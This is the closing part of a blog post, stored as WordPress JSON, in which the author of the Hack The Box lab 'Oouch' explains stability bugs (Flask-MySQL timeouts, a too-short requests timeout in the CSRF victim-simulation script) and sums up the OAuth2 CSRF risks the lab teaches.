the&nbsp;<em>Dbus&nbsp;<\/em>code can already be found inside the&nbsp;<em>Flask&nbsp;<\/em>application and the corresponding Python libraries are already installed.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"lessons-learned\">6.0 \u2013 Lessons Learned<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>At its release,&nbsp;<em>Oouch&nbsp;<\/em>was pretty instable and I\u2019m really sorry for this. So far I tracked down two reasons for the stability issues and one of them was relatively quickly patched by&nbsp;<em>HTB<\/em>. The other one is still present and I expect that there are also some more issues, as the application still throws a&nbsp;<code>500 Internal Server Error<\/code>&nbsp;from time to time. In this section I want quickly explain the two issues I could track down.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"errors-everywhere\">6.1 \u2013 500 Everywhere<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After its release, the consumer application of&nbsp;<em>Oouch&nbsp;<\/em>was basically unusable. About each second request lead to a&nbsp;<code>500 Internal Server Error<\/code>. As mentioned above, this still happens from time to time, but I was able to improve the situation quite a lot by adopting the&nbsp;<em>Flask<\/em>\u2013<em>MySQL&nbsp;<\/em>interaction.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From my understanding, the problem was the following:&nbsp;<em>Flask&nbsp;<\/em>uses in its default configuration a static connection to the&nbsp;<em>SQL&nbsp;<\/em>server. This connection is established once, and all queries are then made using the already established connection. This is of course smart to prevent overhead, but on&nbsp;<em>Oouch&nbsp;<\/em>the&nbsp;<em>MySQL&nbsp;<\/em>connection timed out pretty quickly.&nbsp;<em>Flask&nbsp;<\/em>was then simply running the SQL query on a timed out connection, which lead to an exception and a&nbsp;<em>500 Internal Serrver Error<\/em>. After some trial and error, I found that the following config worked pretty well:SQLALCHEMY_ENGINE_OPTIONS = { \"pool_pre_ping\": <strong>True<\/strong>, \"pool_recycle\": 300}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This should enforce&nbsp;<em>Flask<\/em>&nbsp;to check if the&nbsp;<em>MySQL&nbsp;<\/em>connection is still active before using it.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"not-so-fast\">6.2 \u2013 Not so Fast<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One issue that is still present in&nbsp;<em>Oouch&nbsp;<\/em>is the unreliable&nbsp;<em>CSRF<\/em>. Many users complained about this issue, but I was only recently able to resolve it. Lets look at the python snipped that simulates the client requests:# Uknown urls need no cookie<strong>if<\/strong> other: visit_them(other, {}, timeout=0.1)# Consumer urls need a consumer cookie<strong>if<\/strong> consumer_urls: consumer_cookie = login_consumer('qtc', f'{password}') visit_them(consumer_urls, {'session' : consumer_cookie}, timeout=0.1)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When building the machine I feared that users may run scanners on the contact point that fill the request queue with non existing and not reachable hosts. Therefore, I decided to use a tiny connection timeout of&nbsp;<code>0.1<\/code>&nbsp;seconds. For the&nbsp;<em>CSRF&nbsp;<\/em>attacks on the consumer and unknown&nbsp;<em>URLs<\/em>, the servers response does not matter and I expected a minimal timeout to be fine.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I did not know is some odd behavior of the&nbsp;<code>requests<\/code>&nbsp;module. My expectation was, that with any&nbsp;<code>timeout<\/code>&nbsp;value, the request will always be send. However, this is not true. If the request was not sent before the timeout runs out (e.g. due to network congestion), it is not send at all.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This caught me on the wrong foot and made the&nbsp;<em>CSRF<\/em>&nbsp;portion of the machine pretty unreliable. Furthermore, debugging this issue was frustrating, as on a local network the&nbsp;<em>CSRF&nbsp;<\/em>requests always succeed in&nbsp;<code>0.1<\/code>&nbsp;seconds. Therefore, this issue is only reproducible on slow connections.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sorry for everyone who wasted their time with waiting for&nbsp;<em>CSRF&nbsp;<\/em>responses.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"conclusion\">7.0 \u2013 Conclusion<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The<em>&nbsp;Oouch&nbsp;<\/em>machine demonstrates the devastating consequences of an insecure&nbsp;<em>OAuth2&nbsp;<\/em>implementation. Of course, in the real world it is unlikely that exploiting such vulnerabilities provides you&nbsp;<em>SSH&nbsp;<\/em>access to a server, but account takeover and the exposure of sensitive user information are realistic scenarios.&nbsp;<em>CSRF&nbsp;<\/em>vulnerabilities are often underestimated (even by security professionals). In the context of&nbsp;<em>OAuth2<\/em>, they should be considered as critical security risks since both, the account takeover as well as the exposure of sensitive data, can be exploited without being noticed by the targeted user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hope that this practical exercise will help application developers and security professionals to understand attack surface on the&nbsp;<em>OAuth2&nbsp;<\/em>protocol and lead to an improvement of application security.<\/p>\n<!-- \/wp:paragraph -->","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"categories":[76],"tags":[],"class_list":["post-16533","post","type-post","status-publish","format-standard","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/16533","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16533"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/16533\/revisions"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16533"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/categories?post=16533"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/tags?post=16533"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}